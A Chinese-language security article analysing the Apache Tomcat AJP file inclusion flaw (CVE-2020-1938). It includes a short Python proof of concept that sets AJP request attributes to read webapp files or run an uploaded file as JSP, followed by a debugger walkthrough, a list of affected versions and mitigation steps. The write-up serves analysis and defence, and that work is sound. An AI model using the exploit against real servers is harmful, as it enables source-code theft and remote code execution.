背景
Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。2020年1月6日,国家信息安全漏洞共享平台(CNVD)收录了Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等,若服务器端同时存在文件上传功能,攻击者可进一步实现远程代码的执行。
AJP简介
AJP 的全称是 Apache JServ Protocol,支持AJP协议的Web容器包括Apache Tomcat,JBoss AS / WildFly和GlassFish
AJP是一个二进制协议,通常在存在负载平衡的部署中使用AJP,一般位于Web服务器的后面,使用路由机制将会话重定向到正确的应用服务器,其中每个应用服务器实例都获得一个名称。在这种情况下,Web服务器充当应用程序服务器的反向代理。最后,AJP支持请求属性,当在反向代理中使用特定于环境的设置填充请求属性时,该属性可提供反向代理与应用程序服务器之间的安全通信。
漏洞分析
运行Tomcat
打开下面的URL下载Tomcat运行程序
https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.96/bin/apache-tomcat-7.0.96.zip
并进入bin
目录执行 catalina.bat jpda start
采用调试模式启动 Tomcat
服务器
漏洞PoC
下载 https://github.com/hypn0s/AJPy ,并导入Tomcat类
t = Tomcat("127.0.0.1", 8009)
attributes = [
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info','/index.jsp']},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
]
r = t.perform_request("/fdsdf", attributes=attributes)
for x in r[1]:
print(x.data)
可以看到读取到了index.jsp的源码
如果要执行webapp下的一个非jsp文件,将perform_request改成下面即可
r = t.perform_request("/fdsdf.jsp", attributes=attributes)
调试分析
在下面的位置打断点,此时request才刚开始处理
tomcat-coyote.jar!/org/apache/coyote/ajp/AjpProcessor.class:40
在tomcat-coyote.jar!/org/apache/coyote/ajp/AbstractAjpProcessor.class:532 中可以看到设置了当前request的属性,其中字段名为在PoC传入的 javax.servlet.include.*
字段
通过CoyoteAdapter的postParseRequest函数进入到Servlet的处理流程
catalina.jar!/org/apache/catalina/connector/CoyoteAdapter.class:328
任意文件读取
根据Tomcat默认路由规则,/fdsdf 将会匹配到DefaultServlet
org.apache.catalina.servlets.DefaultServlet#serveResource
catalina.jar!/org/apache/catalina/servlets/DefaultServlet.class:171
进入到serveResource,将会调用getRelativePath从属性中获取真正的路径
通过自定义下面三个属性可以达到WEB目录下任意文件读取的作用。
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
任意文件后缀代码执行
根据Tomcat默认路由规则,/fdsdf.jsp 将会匹配到JspServlet
将目标1.txt当成jsp执行
为什么不能读取WEB目录外的文件
以进入到DefaultServlet为例,进入到函数serveResource函数,最终会调用
catalina.jar!/org/apache/naming/resources/FileDirContext.class:302 中的Validate函数,这里面包含多次验证,无法绕过WEB目录
影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
修复建议
1.更新到安全版本
Apache Tomcat 7.0.100
Apache Tomcat 8.5.51
Apache Tomcat 9.0.31
2.关闭AJP服务
(1)编辑 Tomcat 配置文件 conf/server.xml,找到如下行
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
(2)将此行进行注释掉
<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->
(3)保存配置文件,重新启动Tomcat
参考
https://www.cnvd.org.cn/flaw/show/CNVD-2020-10487
http://tomcat.apache.org/
来源:freebuf.com 2020-01-05 19:02:54 by: 斗象智能安全平台
请登录后发表评论
注册